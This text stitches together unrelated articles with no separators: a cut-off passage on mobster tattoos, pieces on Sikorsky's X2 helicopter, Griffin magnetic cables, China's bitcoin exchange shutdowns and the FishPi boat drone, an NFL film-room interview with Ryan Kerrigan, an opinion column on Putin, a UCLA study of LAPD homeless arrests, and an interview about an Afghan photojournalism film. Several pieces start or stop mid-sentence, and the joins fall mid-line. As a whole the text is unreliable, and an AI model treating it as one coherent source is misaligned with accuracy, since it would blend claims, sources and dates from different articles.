I talked to them [authentic gangsters and Gilly McKenzie] about what they meant and where they were on the body, what that said about where they'd been, what their specialties were, what their ethnic and geographical affiliations were. Basically their history, their calling card, is their body.[11]
The crucifix on his chest was once believed to be inappropriate for a mob chauffeur, but it is accurate because during his vor ceremony it |
Updated Chopper globocorp Sikorsky has suffered technical hitches in development of its potentially revolutionary (cough) X2 multicopter, which is intended to administer a stinging technical bitchslap to the famous V-22 "Osprey" tiltrotor from rival firm Boeing.
Let's get this spin machine off the ground.
Flight International reports that a gearbox problem was detected during ground tests in December, just before the triplex whirlybird was due to take off for a flight test at 150 knots. The X2, which first flew with all its capabilities installed last July, is gradually working its way up to the full design speed of 250 knots - much faster than a normal copter, and noticeably better than the Osprey.
Apparently the gearbox snag has now been sorted out, but some lower-speed flights will now have to be repeated. However Sikorsky test pilot Kevin Bredenbeck told Flight that he expects to hit 250 knots "by the end of the year".
The X2 works by the use of two main rotor sets spinning in opposite directions. This avoids one of the problems suffered by ordinary helicopters attempting to go fast, the issue of "retreating blade stall" - where the backwards-going blade briefly becomes almost stationary with respect to the air it cleaves owing to the aircraft's forward speed, so losing lift on one side of the rotor disc. An X2 or other stacked-rotor copter has forwardgoing blades on both sides, however.
That's just one of the snags to be solved, though. As the retreating blade slows, so the forward-going blade tips tend to go supersonic as the helicopter accelerates. In general this is hard to deal with, as most choppers spin their rotors at a fixed rpm.
But the X2 has variable speed equipment, allowing it to slow the blades' spin as it speeds up and so keep the blade tips safely subsonic. It also has modern superstiff low-drag rotors and active damping tech, which Sikorsky hope will quell the violent vibration which bedevilled previous efforts along these lines.
As the twin main rotors counteract each other's torque, an X2 needs no side-thruster on its tail for steering. This means that it can put a forward-driving propeller there instead, to provide the extra thrust necessary to reach high speeds. A previous attempt at an X2-like aircraft, the XH-59A demonstrator, used extra strap-on jet engines instead: but these made the XH-59 overly heavy and complex, and a fuel hog besides. Sikorsky believe that their tail prop driven from the X2's single turbine is the way forward - smaller X2 craft of the future could also be single-engined and thus simpler and cheaper to operate than tiltrotors.
So far the machine has flown at only 106 knots, however, a speed which even crummy old normal 'copters can surpass. However, according to Bredenbeck, the active-vibe-damping kit hasn't even been needed yet, which should indicate plenty of room left in the X2's flight envelope.
Meanwhile the Osprey has finally entered frontline service with the US Marines after a long and painful gestation. Initial operations in Iraq's Anbar province were unconvincing to the tiltrotor's critics, as Anbar had pretty much calmed down by the time it arrived. However the Osprey is now in the thick of serious fighting in Afghanistan, reportedly without any particular problems.
Barring any further tech hiccups, this year should see which is to be victor in the souped-up rotorcraft stakes: tiltrotor or triplex multicopter. ®
Update
We had thought that the Osprey could only go at 240 knots, or 230 in the case of the spec-ops version, based on the normally reliable Globalsecurity.org's figures for the V-22. However an Osprey pilot writes in to tell us that the tiltrotor, following software changes, can now do 270 knots in level flight - so even if the X2 performs to spec it will not be as fast as a V-22.
Sikorsky would no doubt still defend their idea on grounds of reduced complexity and potential to be single-engined rather than twin. They would also, perhaps, point out the Osprey's apparent tendency to melt and buckle the flight decks of US warships with its hot exhausts, which isn't an issue with the X2. But it doesn't seem especially likely that the X2 will snatch away the V-22's speed crown."Last year at CES 2016, our acclaimed BreakSafe Magnetic USB-C Power Cable stole the show with its innovation and Type-C support," said Rick Kennedy, Category Manager of Cables at Griffin. "We're proud to continue that legacy by extending the BreakSafe experience to more audiences beyond USB-C. Now, whether users are at their laptops or on the go, they get the safety that comes from a magnetic breakaway cable on any device."
Griffin today announced several new additions to its line of BreakSafe products, adding to the original BreakSafe magnetic USB-C cable that it introduced in January of 2016 The new 100-watt BreakSafe Hi-Power Magnetic USB-C Breakaway Cable, the BreakSafe USB Breakaway Adapter, the BreakSafe Car Charger, and the BreakSafe Wall Charger all include a patented MagSafe-style quick-release magnetic connectors.Griffin's new 100-watt BreakSafe Hi-Power Breakaway cable, coming in the second quarter of 2017 for $39.99, is designed for use with the new MacBook Pro. Like the original BreakSafe cable, it's designed to safely disconnected when accidentally pulled away from the MacBook.The BreakSafe Magnetic USB Breakaway Adapter ($19.99), which features standard USB power and data speeds of up to 480Mb/s, adds BreakSafe capabilities to any standard USB-A device and will be coming during the first quarter of 2017.The BreakSafe Car Charger and the BreakSafe Wall Charger are both designed for USB devices like tablets and smartphones, with the ability to deliver up to 15 watts of power to accessories. Each accessory is priced at $39.99 and will be available in Q2 2017.A popular Kickstarter project, the MagNeo, has been receiving a lot of attention lately and is similar to the new Griffin MacBook Pro Hi-Power cable but promises to offer more than just power. The MagNeo, priced at $35 for Kickstarter backers, promises to combine MagSafe-style connectivity with a USB-C Adapter that offers 100W charging, data, and video capabilities, but it remains to be seen if the product will be able to offer all of that functionality.The MagNeo lists an estimated delivery date of January 2017, but potential backers should be aware that Kickstarter estimates are often off by months as new designers tend to underestimate the time required for manufacturing and ramping up from a testing phase to mass production.Well, that didn’t take long. Yesterday, China’s longest running bitcoin exchange, BTC China, announced it will suspend its local trading service at the end of this month, and today the country’s two other major exchanges — Huobi and OKCoin — followed suit to say they will cease at the end of October.
The writing was on the wall when The Wall Street Journal reported on Monday that the Chinese government intended to shut down bitcoin exchanges after banning ICOs the previous week. Government officials then began meeting with exchanges this week to bring about the trading suspensions, a source with knowledge of discussions told TechCrunch.
While the exchanges will no longer be allowed to facilitate the buying of crypto coins using Chinese Yuan and the trading of coins, they will continue to operate international-facing exchanges and other associated services. Smaller exchanges, however, will be closing for good. Those include Yunbi, which announced in Chinese it will shut up shop on September 20.
The impact of the crackdown sent bitcoin prices falling — with the crypto currency dropping below $3,000 on some exchanges for the first time in a month — but it quickly rebounded and, at the time of writing, it had nearly made up the losses.
As with all things bitcoin, it is difficult to be sure exactly why, but there are plenty of reasons.
Most importantly, China is no longer the dominant in bitcoin trader it once was. A series of government bans — most recently a four-month trading freeze due to security concerns — have seen its share of global trading drop from more than 90 percent in previous years to just over 10 percent today. Markets like Japan, Korea and the U.S. have emerged to account for the lion’s share of global trading volumes, so the impact of this China ban is not as severe as it initially may seem.A year ago, Greg Holloway set out to build an ocean drone, based on the tiny Raspberry Pi $35 computer.
Wired covered the start of the project, called FishPi, last summer, as Holloway was working on a Proof of Concept Vehicle (POCV), which at that time was essentially an upturned lunch container on the hull of a model ship. Now that he's approaching the one-year anniversary, the initial testing and research is paying off, and with collaborator Al Gray he's revealing plans for the final design to the FishPi community.
"When I began the project I had the optimistic expectation of being on the high seas by now," says Holloway. "FishPi will cross the Atlantic, it might just take a bit longer than I expected!"
FishPi Proof of Concept Vehicle, on the one year anniversary. What the FishPi looks like now.
"The Proof-Of-Concept Vehicle (POCV) is finished, just about," says Holloway. "I began the project with little to no experience of robotic control so even the smallest of details has taken, in some cases, weeks of investigation before a decision was made and a part purchased."
In fact, Holloway says, research has ended up being the bulk of his time on the project, to which he's devoting ten to twenty hours a week.
Perhaps the biggest change is the addition of software engineer Al Gray to the team.
Gray has taken on responsibility for incorporating the device's various bits of hardware into a functioning system. "Having begun with almost nothing, Al Gray has done a fantastic job integrating the Compass, GPS, Temperature Sensor, Rudder, Webcam, and the Electronic Speed Controller into the C & C [command and control] software," says Holloway. "We can drive the POCV remotely using the Webcam as a visual guide, but it has only been done in the bath so far."
"Since seeing Stanley (the car that won the DARPA grand challenge) at the Smithsonian a few years back, I've been inspired to get involved in an autonomous robotics project," says Gray, revealing his enthusiasm for the project.
Now that they have managed to get the POCV to drive, the next big challenge is getting it to drive itself. "The starting points for this are well established but calibrating for the particular craft and motion model will be fun," says Gray.
What the FishPi looked like in June. What the FishPi looked like in June.
Meanwhile, Holloway has been working towards a design for the prototype. Gone will be the clunky plastic box. The sleek new design is built around the requirements of the solar panel that will ensure the vehicle remains powered. Though Holloway was hoping to avoid the need for a keel, the shape of the panel has ended up demanding one.
"Given that the vehicle is likely to capsize in rough seas it would be silly not to have a self-righting mechanism," says Holloway. The keel will serve double duty as protection for the trolling motor and the weight bulb may be used to house certain instruments as well.
After ensuring power with the panel, the biggest concern for the hull is keeping the electronics dry. They'll be stored in cases from Pelican, with packs of silica gel in case of small leaks. The space in the hull between the cases will then be filled with high density self-expanding foam.
If you want to build a POCV of your own, Holloway has released WIP information on Instructables. And don't worry about getting your stuff wet. "The beauty of the Raspberry Pi and most parts is their relatively low price, if something goes wrong, you can always get another one!" says Holloway.
Photos and images: Courtesy Greg HollowayRyan Kerrigan is at the office, staying late on a sunny day in June, and he’s having IT trouble. The film projector in Washington’s conference room isn’t working. We’re meeting in here because the position-group meeting rooms are being remodeled. It’s a perfect recipe for frustration to boil over, but Kerrigan is nonplussed—even when he eventually has to bow out and admit the broken projector has won.
And so we huddle up and watch on a tablet. With its screen being about 1/30th the size of the projector wall, there is no longer any use for the laser pointer (the most fun part of watching film). Oh well. At least it’s still football.
We’re viewing Washington’s two games against the Giants from last year. Kerrigan didn’t think highly of his performances in either one. In the tone of a man who’s joking but not completely, he wishes aloud that we could instead view his Week 2 game against Jacksonville, in which he had had four sacks.
• FILM ROOM: Jason Witten fits the mold of a throwback tight end
But I’ve picked this opponent because, barring injury, he’ll play the Giants at least six more times (including Thursday night) before he sees the Jags again. And it’s not like he was awful in these contests. He recorded a sack in each and, though credited with only five total tackles, he provided a meaningful presence against the run.
Besides, I tell him, we both know sacks are overrated. A “great” season is 15 sacks. There are roughly 1,000 plays in a season. It has to be about more than sacks, right?
“Yeah it is,” he says. “But, I mean, you want to be winning your rushes. Ultimately it comes down to, When do you put the offense in the most trouble? It’s when you put them in negative-yardage situations. So making plays, causing havoc in the backfield, I mean, that’s what we need to be doing.”
Let’s be clear: Kerrigan is not an “all about the numbers” guy. He cares about production rather than statistics. There’s a big difference. He’s critical of himself in a fair, genuine way. Perhaps that’s why he’s improved steadily since being drafted 16th overall out of Purdue in 2011.
“I had 13.5 sacks last year; I left a lot on the field with plays where I didn’t disengage from the blocker before I tried to tackle the quarterback,” he says. “So that results in a lot of missed plays—not only for me, it’s a missed opportunity [for our defense].” He says this at the end of our session. By then he’d made the point several times.
So tell me about the running back’s alignment here. What goes through your mind? This is the first play Kerrigan and I are watching.
“When he’s that wide, we have a general rule: if he’s out towards the offensive tackle in his alignment, he’s not getting the handoff. [Instead, he’s going to be involved in a pass of some sort.] If he’s in tight, more over the guard, then they have the option for a run play. But if he’s out that wide, then we have a good idea it’s a pass.”
It’s third-down-and-5, another good indicator of a pass. But I’m wondering about a potential chip-block. Running back Rashad Jennings is in perfect position to help right tackle Justin Pugh take on Kerrigan, if needed.
“You think about a chip in the back of your mind, but initially I like to have the same kind of takeoff each time. Because I don’t want to play for the chip and then not get chipped. Then you’re just delaying yourself.”
Kerrigan adds, “Something our coaches would emphasize last year is to chip the chipper. Attack him, hit him so that next time he won’t want to chip you as much.” This time, Jennings didn’t chip.
Throughout both games, Kerrigan repeatedly went one-on-one against Justin Pugh. The 2013 first-round right tackle has had a tough go of it these first two years and has since moved to left guard, where his body type is better suited. Presumably, that’s just fine with Kerrigan.
“One thing that I’ve noticed about him, and especially him going from Year 1 to Year 2, is his hands and his base and his overall strength have improved tremendously,” Kerrigan says. “That’s what made him much more difficult to go against this past year. He’s got some vice-grip hands, it’s tough to work through those.”
Late in the first quarter of the Week 4 contest, just before a second down snap in the red zone, tight end Larry Donnell stepped back off the line of scrimmage and shifted down to an offset fullback position. Upon seeing Donnell’s initial movement, Kerrigan stood up and made a ‘Y’ symbol, as if performing the Village People’s hit song from 1978.
“We call the tight end the ‘Y’,” Kerrigan explains. “So whenever he’s off the line of scrimmage, I’m letting everyone know. Because once he comes over, we have to kick our defensive front that way. This also lets my other defensive end know.”
On this play, Kerrigan, unblocked by design, worked aggressively down the line of scrimmage to help stop a Rashad Jennings dive. Jennings is a pure downhill runner. So would Kerrigan have attacked hard like this if the back were, say, LeSean McCoy?
“See how my shoulders are completely turned towards the sideline,” he says. “Against a guy like McCoy, you need to have them more parallel to the line of scrimmage.
“There was a play at home against Philadelphia last year, I came crashing down too hard on McCoy and stopped; he went right around me. That’s the difference between those kinds of guys. Jennings is a downhill guy so I can be more aggressive in attacking him and attacking at a really hard, aggressive angle. But a guy like McCoy, you’ve got to be ready for what he does best.”
Later we see Kerrigan sniff out a halfback toss on third-and-9. He had immediately widened outside to the point of attack, diagnosing the run on what’s typically a passing down. He’s not quite sure how he knew it was coming.
“On this I kind of got a feel for Larry Donnell’s body language. I don’t know if it’s the way he was standing, the way his eyes were, how he was looking at me, but I had a sense for it. I knew I had to knock everything back inside, obviously. I don’t want to sound like a grizzled vet, but you pick up on things and you kind of get a sense of what a guy is going to do presnap.”
Jennings was forced back inside and tackled short of the first down.
On the final play of the first quarter, Pugh got the better of Kerrigan’s pass rush.
“First, I think I might be lined up a little wide,” Kerrigan says. “When the ball is on the other hash, you don’t want to be that far out. I’d like to have my left foot maybe on the inside of that hash. I’m a little wide from the start, that puts me further distance from the quarterback.”
Talking to coaches and players over film study, I’m always amazed at how often the reason a play goes wrong is because somebody simply lined up incorrectly. Once the play started, Pugh took a short angle set to block Kerrigan, fanning outside rather than dropping straight back.
“That’s going to become something he’s pretty good at,” Kerrigan says. “He doesn’t deep-set much anymore because he’s got those good hands now; he wants to get his paws on you.
“On this play, my initial angle is good, initial target is good with the inside pad, and I did a good job leveraging him. But I’ve got to be able to find a way to shed him and get off him quicker. Now, the ball is out pretty quickly.”
The ball was out quickly several times; Eli Manning knows where to go with it.
“It's all about the quarterback,” Kerrigan says, going back to the importance of presnap alignment. “Our position coach last year [Brian Baker] would always emphasize that you don’t necessarily need to concern yourself with where the offensive tackle is lined up; it’s how far you are from the quarterback.”
Kerrigan, by his own admission, doesn’t have a huge repertoire of pass rush moves, but the ones he executes are precise.
“One of the things I've learned over the years is that pass rushing is different from running,” he says. “In running, it’s opposite arm opposite leg; in pass rushing, you want to use same arm, same leg on how you move. That's a tough thing to learn, but it's a necessary thing.”
If there were ever a time to stop reading and try running in place, this is it. The natural way of running is to fire your left arm forward along with your right leg, and vice versa. Pass rushers, however, train themselves to fire the same arm and same leg, because it allows them to maintain maximum distance between themselves and the blocker. Reach both arms in front of you for moment; now reach with just one. The reach of one arm is always longer, and preferred because defenders want to dictate the action. To give strength and stability to that one arm, a pass rusher should always attack by running with the same-side technique.
We watch another nondescript bull rush against Pugh.
“Little wide in my alignment,” Kerrigan notes. “I knew I wasn't going to rush inside on this one because I had a three technique to my side. He’s going to more than likely occupy that B gap. I knew I had to work outside or work through Pugh, and I decided to work through him. Not a bad rush; but I’ve got to get the hands off, just got to finish the rush.”
Then Kerrigan expands. “One of the problems I had, not only in this game but throughout most of last year, was I would try to make a play on the quarterback or the ball carrier without discarding the blocker first. So I need to know, whether it's throwing him out of the way and coming back underneath, or just getting his hands off me in some other way, I need to discard him before I make an attempt at the ball.” He cites plays from the Arizona and St. Louis games where failure to discard a blocker cost him a sack.
Kerrigan still forced Manning to move off his spot before throwing on this play. Any solace in that?
“I ultimately look at it as, You gotta get the guy on the ground,” he says. “Look what it does on this play. Third-and-9 turns into first-and-10. You've got to get the guy on the ground.”
A few snaps later, we see Kerrigan execute what he calls a “rip and pry” move. It didn’t work, and so he improvised a spin move late in the down.
“This isn’t good right here,” he says, slowing the film. “I get caught in a bad spin move. See right there? What you want to do when you spin, you want to spin with your hips, you don’t want to spin with your shoulders. When you spin with your shoulders you spin in place. When you spin, you want to spin and gain ground. See, if I spin with my hips, I gain ground back towards the quarterback.”
Late in the first half Kerrigan gets his sack. It halted a drive and forced the Giants to play for a field goal.
“What really made the play work was Trent Murphy getting vertical through the gap. When I saw that, I knew I had an option of going underneath [Murphy]. Because by going so high upfield, Murphy was becoming the contain player. Then I was just able to get a good punch on him, get off Pugh and then, quarterback’s right there.”
Any trash talking from you after this play?
“If I was good at it, I would. But I’m not any good at it.”
In the second half, I see what appears to be an E-T (end-tackle) stunt, with Kerrigan (the end) attacking inside to set up Chris Baker (the tackle) for a looping pass rush. It’s a bizarre defensive call; Baker has the body of a pregnant cow. He’s built to plug gaps, not loop and shoot them. Turns out, the play was spontaneous, not called from the sideline.
“I think on this, I might have told [Baker] to cover me, which gives me the freedom to run inside. From how wide, look, I’m so freakin’ wide—the blocker has time to recover when I’m that wide and coming underneath. That was more on my bad judgment of making that call right there.”
It wasn’t all pass rushing with Kerrigan. A swift mover, he’s adept at playing in space. At times, he was asked to drop into coverage. Not all edge players are like this. (It’s harder for agents to negotiate big dollars when a player’s contributions don’t show up on stat sheets.)
Kerrigan has a more optimistic view. “I like playing in space, it makes you feel more valuable. The more you can do, the better chance you have at having a job in the NFL. I look at it as just another feather in the cap.”
Multidimensional as he is, Kerrigan almost always lines up on the left side of the defense. I wonder if it’s because he’s deaf in his left ear (diagnosed at age eight after several serious ear infections). By aligning on the left, he can hear his teammates, who are on the right.
“Nah, that’s not why—it actually should be an advantage that I’m deaf because I shouldn’t jump offside,” he says. No specific reason is given for why Kerrigan plays on the left. But when we put on the Week 15 film, we’re reminded that rarely is a tendency 100 percent in pro football. Midway through the second quarter Kerrigan did not line up on the left. Instead, he drifted into an amoeba look and attacked the right guard as part of an inside blitz.
“Damn, almost,” he says, watching himself move Manning off his spot, again to no avail. “We just wanted to get us big guys down in the A gaps. It’s just showing a different look, and you can see the inside linebackers, they’ll go cover the guys on the edge. I think this was an adjustment, because when we used to run this blitz, we’d have those inside guys blitz and Murphy and I would be in coverage.”
Moving along, we see more battles with Pugh, who continues to pass-block at an angle, rather than dropping straight back.
“It's kind of tough to get a true speed rush when the guy is angle-setting like that,” Kerrigan says. “You don't want to rush straight up the field, because that pulls you away from the quarterback. So I found myself having to go more power, and that’s not ideal versus him.”
I’m surprised to learn that Kerrigan often doesn’t decide if he’ll go speed or power until after the snap. “Sometimes you predetermine, but ultimately it’s reaction stuff,” he says.
During the season, Kerrigan spends 90-120 minutes every night watching film, mostly of the offensive tackle he’s facing that week. In the trenches, football tends to be more individualized, less about the offensive scheme as a whole. “For me, playing on the line of scrimmage, it’s ultimately about being able to defeat a guy. So I kind of just tend to focus on that. That singular matchup.”
Again, there are few absolute truths in football. Not long after Kerrigan says this, we see him diagnose the offensive scheme and sniff out a reverse to Odell Beckham Jr.
“God, that dude is amazing. He had a really good game against us.”
But not on this play. Kerrigan contained the receiver for no gain.
“You see Beckham come in the backfield, that's not typical. We hadn’t seen that at all. I’m a C-gap player on this call. I kind of had a feeling it was going to be some kind of run with him or some kind of action with him, because they weren't bringing him back there just to be a decoy. And so it’s really just playing through my gap.”
Now midway through the fourth quarter of the second game, we start seeing concepts repeated. I tell Kerrigan we can skip through them if he wants. He pays no attention.
“Damn, again,” he says. He’s watching Pugh handle another one of his bull rushes. “See, didn’t get to the level of the quarterback before I came underneath, and so Manning was able to escape.”
I try to coax the silver lining out of this, asking if it’s at least a small victory to move a pocket passer like Manning off his spot before throwing.
“Nuh-uh, not to his right,” he says. “He's pretty good throwing while rolling to his right. We want to keep him in there—especially because, I mean, what if [another defender] would have had a winning rush and he's expecting the quarterback to be there, but then I let him out of the pocket? It’s shame on me. Gotta keep him in there. Damn.”
By the time we wrap up, the parking lot is almost empty. With minicamp practice having ended hours ago, the other players are long gone. Kerrigan, limping out of the conference room on a knee he recently had scoped, is handed a boxed lunch—salmon and salad—and makes his way outside. I tell him how much I appreciate his actual analysis, his lack of clichés.
You didn’t once say you “just wanted it more” or mention an “it factor” or any of that nonsense, I tell him.
He laughs. In the games we watched, he says, “I just had good intangibles.”ANALYSIS/OPINION:
A few days after Secretary of State John Kerry’s trip to the tsar’s court in Moscow, several obvious things have happened. Russian President Vladimir Putin has admitted that Russian troops were in East Ukraine, the International Monetary Fund has declared the $3 billion bond Ukraine owes to Russia as “official,” and Mr. Putin has stated he is ready to “push” separatists to a settlement in Donbass. Russia has also ended a trade pact with Ukraine as tensions between the two former Soviet states worsen.
“We never said there were no people there who were carrying out certain tasks including in the military sphere,” Mr. Putin told an annual news conference on Thursday, Reuters reported. “But that does not mean there are Russian (regular) troops there, feel the difference.”
Mr. Putin is stating the obvious, but it is interesting to hear him utter the words. I have discussed before that Mr. Putin is a master at escalation and de-escalation. The Kremlin has its back against the wall economically and is saying what it needs to say to get the sanctions imposed by the West removed as soon as possible. Most likely, we are seeing the fruits of some grand deal struck by Mr. Kerry and Mr. Putin on his visit to Moscow.
The IMF declaration on the Ukrainian debt to Russia is a bone to the Kremlin. There is really no way the world’s lender of last resort could show complete political favoritism to a possible client state of the United States. So, the IMF pushed the two sides into negotiations. It tweaked the rules forcing the negotiations and then declared the debt official, splitting the difference between complete disrespect toward Moscow and destroying Ukraine’s financial future. Mr. Putin must have agreed to this as well, despite the Kremlin’s bluster Thursday morning to the contrary.
I have serious doubts about Mr. Putin’s words regarding the Donbass region of East Ukraine. We’ve heard all of this before. Moscow’s termination of a trade pact with Ukraine is evidence of the Kremlin’s intention to continue to attempt to reign in Ukraine’s EU aspirations. Mr. Putin may push the negotiations further down the road a bit, but he will retain Russia’s ability to cause trouble and threaten the Ukrainian government at will. This “concession” is really not a concession at all but a masked ploy to obtain Russia’s holy grail, sanctions relief.
Have no doubt, Russia will now get this relief in spades. Mr. Kerry has been begging the Russian leader to give him just enough in order to declare victory and kick the can to the next administration. In the end, Russia and Iran will control the Middle East, and Russia will maintain leverage in East Ukraine, and continue to make things difficult for Petro Poroshenko’s government.
But at least Mr. Kerry will be smiling.
Copyright © 2019 The Washington Times, LLC. Click here for reprint permission.Los Angeles police have arrested homeless people at a rate that has outpaced the alarming growth of the city’s homeless population, according to a new study by researchers at UCLA.
LAPD's arrests of homeless people have increased by 37 percent from 2011 to 2016, a period of time when the homeless population increased by 21 percent, according to UCLA’s Million Dollar Hoods project, which uses police arrest data to track how much the agency spends on incarceration by neighborhood.
Danielle Dupuy, the report’s lead author, says its findings indicate "an increase in policing of that population, above and beyond the population itself."
Continue Reading
“What’s important to think about is that also if total arrests are declining and arrests of houseless people is going up, it might indicate resources are being shifted to target that population,” Dupuy says. (The researchers opted for the term "houseless" over homeless in the report.)
Dupuy says the researchers were able to differentiate homeless from non-homeless by the address listed on the LAPD's arrest report — either "transient" or giving the address of an area homeless shelter.
The report also found that during the same five-year period, 2011-16, when arrests in Los Angeles declined 22 percent overall, arrests of homeless people increased 14 percent.
“By 2016,” the report states, “there was one houseless arrest for every two houseless people in the City of Los Angeles. This is 17 times the arrest rate among the total population of the city.”
Part of the goal of the UCLA researchers, says Kelly Lytle-Hernandez, founder of the Million Dollar Hoods project, is to comb through the records and make the specific arrest data available to community advocates working in the arenas of housing and policing. “It’s an evolving story about housing, houselessness and policing here in the city,” says Lytle-Hernandez, who is also director of the Ralph J. Bunche Center for African American Studies at UCLA.
Lytle-Hernandez adds: “For me, as someone who has studied trends in policing for the past 20 years, what it tells me is this is a new set of priorities. Intentionally or unintentionally, there’s a new priority system in the LAPD on policing either houseless folks, or public order charges.”
The Million Dollar Hoods project is a collaboration with advocates like the Youth Justice Coalition, Californians United for a Responsible Budget, Dignity and Power Now, and Critical Resistance Los Angeles.
The project's report lists the five L.A. ZIP codes with the highest rate of arrests of homeless people from 2011-2016. The top three ZIP codes — 90013, 90014 and 90021 — are east of Grand Street in downtown, an area that covers Pershing Square, the Fashion District and the Arts District. The report states that 18,160 homeless people were arrested in those downtown ZIP codes during the period examined for the study.
Rounding out the top five ZIP codes for homeless arrests by LAPD were Hollywood with 4,829 arrests and Venice with 2,561 arrests.
“They are areas that are rapidly gentrifying,” says Pete White, executive director of the L.A. Community Action Network, a group based on Skid Row; one of its slogans is "housing not handcuffs."
“The report lays out for all eyes to see that there is an integral relation between gentrification, development and criminalization of the poor and houseless people.”
Ted Soqui
LAPD did not immediately respond to requests for comment on the study. Chief Charlie Beck, in a report submitted to the Board of Police Commissioners in August, acknowledged a 49 percent increase in arrests of homeless people in the first half of 2017, which the chief attributed in part to a change in how police reports are coded.
Here’s an excerpt from Chief Beck’s report:
“A total of 1,845 homeless and mentally ill individuals were arrested citywide during [the first two quarters of 2017], which represents a 49 percent increase from the same period last year. This increase does not necessarily represent an increase in actual arrests but is indicative of improved coding of reports. The crimes they were arrested for included aggravated assault, burglary, disorderly conduct, embezzlement, fraud, forgery, larceny, rape, receiving stolen property, robbery, vehicle theft, and various other weapons charges. A complete breakdown of these arrests is also included as an attachment."
The "complete breakdown" Beck refers to indicate that serious and violent crimes such as larceny (450), aggravated assault (320) and homicide (285) are the most frequent causes for the arrest of homeless people in L.A.
The UCLA researchers say the LAPD data they have reviewed thus far tells a different story — and, more importantly, a different category of charged arrests. Lytle-Hernandez says that though she and her team are still compiling data from the arrest records, they have already noticed the emergence of a separate category of crime from the chief's report. "One of the charges we've seen quite a bit is failure to appear, which is an entirely different category of crime," she says.
White of LA CAN agrees that failure to appear is a commonly seen arrest charge on Skid Row. He also said that simple drug possession is another.
Chief Beck's report to the police commission, which covers data more recent than that in the UCLA report, categorizes the data differently— for example, lumping drug-related arrests into the less specific category of "narcotic drug laws," and including additional catch-all categories like "non-criminal deten," "misc other viols," and, simply, "other." Lytle-Hernandez says she and her team intend to release more detailed data on homeless arrests at a later date.
City leaders are deciding how to allocate a $1.2 billion bond issue approved by voters in November that is aimed at getting people off the streets permanently. A report by the City Administrative Office in |
important news coverage in the midst of financial crisis. What happens if/when the millions pouring into Afghan media dries up? We’re not sure. That’s another part of these photographers’ story; how each deals with and is planning for standing on their own.
A 2012 BBC Media Action report described the role of donors in supporting media in Afghanistan to “probably be greater than in any other country at any time.” Based on this, your documentary can’t solely be based on generating more foreign monetary aid. Why isn’t money enough for Afghan journalist and photojournalists to overcome potential challenges in keeping a free press, regardless of potential power struggles?
To be clear: our documentary has nothing to do with generating monetary aid. This film is long-form journalism. The point of it is to inform and spark dialogue about local journalism under fire; this is not an advocacy film to raise funds for a cause.
While I mentioned above that money is the main challenge for building the Afghan press, it is not the only issue. And let’s be honest; money to fund journalism will always be an issue, for anyone, anywhere.
What’s really important for these photojournalists in terms of overcoming their challenges, is that they have networks to rely on when things get nasty. I have no doubt that each of the photographers we’re following will continue their work even if political or social changes make it even more difficult for them. But where can they go for protection? Who can they turn to if they’re detained or imprisoned? Three of the photographers we’re following have learned photojournalism in this period of media growth with international support. So what happens to them if that landscape changes? We don’t know yet what they’re greatest issues will be, but it’s likely they’ll need security support.
Let me back way up here and say that one major need for any local journalist working in any non-free press environment is recognition that their job is necessary and important for society. Right now, journalists around the world are in an extremely dangerous situation. They’re not just unsupported; they’re being actively targeted. CPJ recently reported that in 2012 more than 100 journalists were killed, and an unprecedented number were imprisoned. If the criminalization of journalists across the world does not change, we can’t expect individuals on the ground to overcome their local struggles to build free press.
One of your subjects, Farzana Wahidy, recently gave a beautiful quote: “I think of photography as an international language.” Why is photojournalism uniquely valuable in sharing stories about Afghanistan, both domestically and internationally?
Photographer Farzana Wahidy
Photography reveals unlike any other medium, by capturing moments: moments of destruction, of progress, of tension, fear, malice, love. You don’t need to be able to read, you don’t need to know all the facts, you don’t need to speak a certain language to learn something from an incredible photograph.
Photojournalism also has a capacity to humanize news events. Photographs can make you feel the gravity or the irony or the beauty of the lives behind the issue or event. This can make an image — and therefore an issue or story — unforgettable. For example, Farzana’s images of women in the burqa stick in my head every time I hear the word ‘burqa.’ She’s made me remember the lives of humans under the burqa, forever.
In a way, what we love about photojournalism speaks to what we’re trying to do with Frame by Frame: to make an audience connect to the humans behind this unique time in Afghanistan’s history.
What compels you to focus on the challenges of a culture and nation to which you have no personal affiliation? And what do you hope the documentary will spark?
Well, I’m almost never telling stories in cultures or nations where I have personal affiliation. That’s not necessarily on purpose; I just go where the stories and opportunities to tell them take me.
In short: I’m curious. I was compelled by the images of these photographers even before we went to Afghanistan for the first time in 2012, but only after meeting them in person and following around did I become fascinated with their personal histories and perspectives. They each have a very unique view on Afghanistan, on the media, on their work.
We hope the documentary will spark knowledge and awareness of the importance of local photojournalism in Afghanistan, but also for any society. We hope the story will connect people to these Afghan photographers enough that they recognize the humanity behind the current situation, and what’s at stake in this time of uncertainty.
According to the World Press Freedom Index, there are many countries worse off than Afghanistan when it comes to freedom of the press. Why focus on Afghanistan?
We didn’t decide the topic first, and then pick a country to tell the story in. We were led to the story of this film via an initial tinge of curiosity about Afghan photographers. The bigger theme about building a free press followed, only as we learned from them what had happened here in the last ten years, and what could now come under fire in the next ten.
There has been a number of documentaries created over the past few years on political and social issues in Afghanistan. How is your story different? What makes you qualified to bring these stories to the world?
Most of the films we’re seeing about Afghanistan are coming from a Western perspective, and cover the war. Very few are in the voice of Afghans themselves. And I have yet to find one that explores local photojournalism in Kabul.
Moreover, what makes Frame by Frame unique is that it is a character-driven film. We explore the emergence and current state of the press in Afghanistan, but not by talking to ‘experts’ or narrating stats over footage — we’re doing it through four specific human beings who are experiencing it first-hand. I honestly believe that intimate stories are the most effective way to explore the implications of a complicated event in history such as this. We’re set on getting up-close enough with these characters to tap into the human condition, and connect an audience to these Afghans and what they’re undertaking in an unforgettable way.
Hmm… qualified is a confusing word. My Co-Director and I have a lot of experience shooting in foreign areas and in really uncertain situations. But I don’t think anyone is necessarily ‘qualified’ to make a character-driven documentary film. We’re not claiming to be experts in Afghan issues or history (for that, we’re definitely not qualified). We’re very intentionally following the stories of four conflicted, interested, passionate human beings. And we’re weaving these together to explore what’s happening in Afghan media right now and what’s at stake.
Documentary film requires a fluid skill-set, and there’s really only one rule — that nothing will ever go according to plan. Can you be qualified to deal with that?
What has to happen in order to get Frame By Frame to market?
Well, first we must get back to Kabul to finish the film! Film production will resume this fall as we cover each of the four photographers more closely and intimately than we had the time do last year. We launched a Kickstarter to fund this trip: http://kck.st/1e6O1Fc
We have now hit our original Kickstarter goal of $40,000, which will fund the production. We’re hoping to raise funds above our goal. These funds will go towards renting better camera equipment and post-production costs.
We’re set on editing this fall to get the film out to festivals and theatrical releases sometime in 2014, and on DVD by early 2015.
Co-Director Mo Scarpelli in Afghanistan
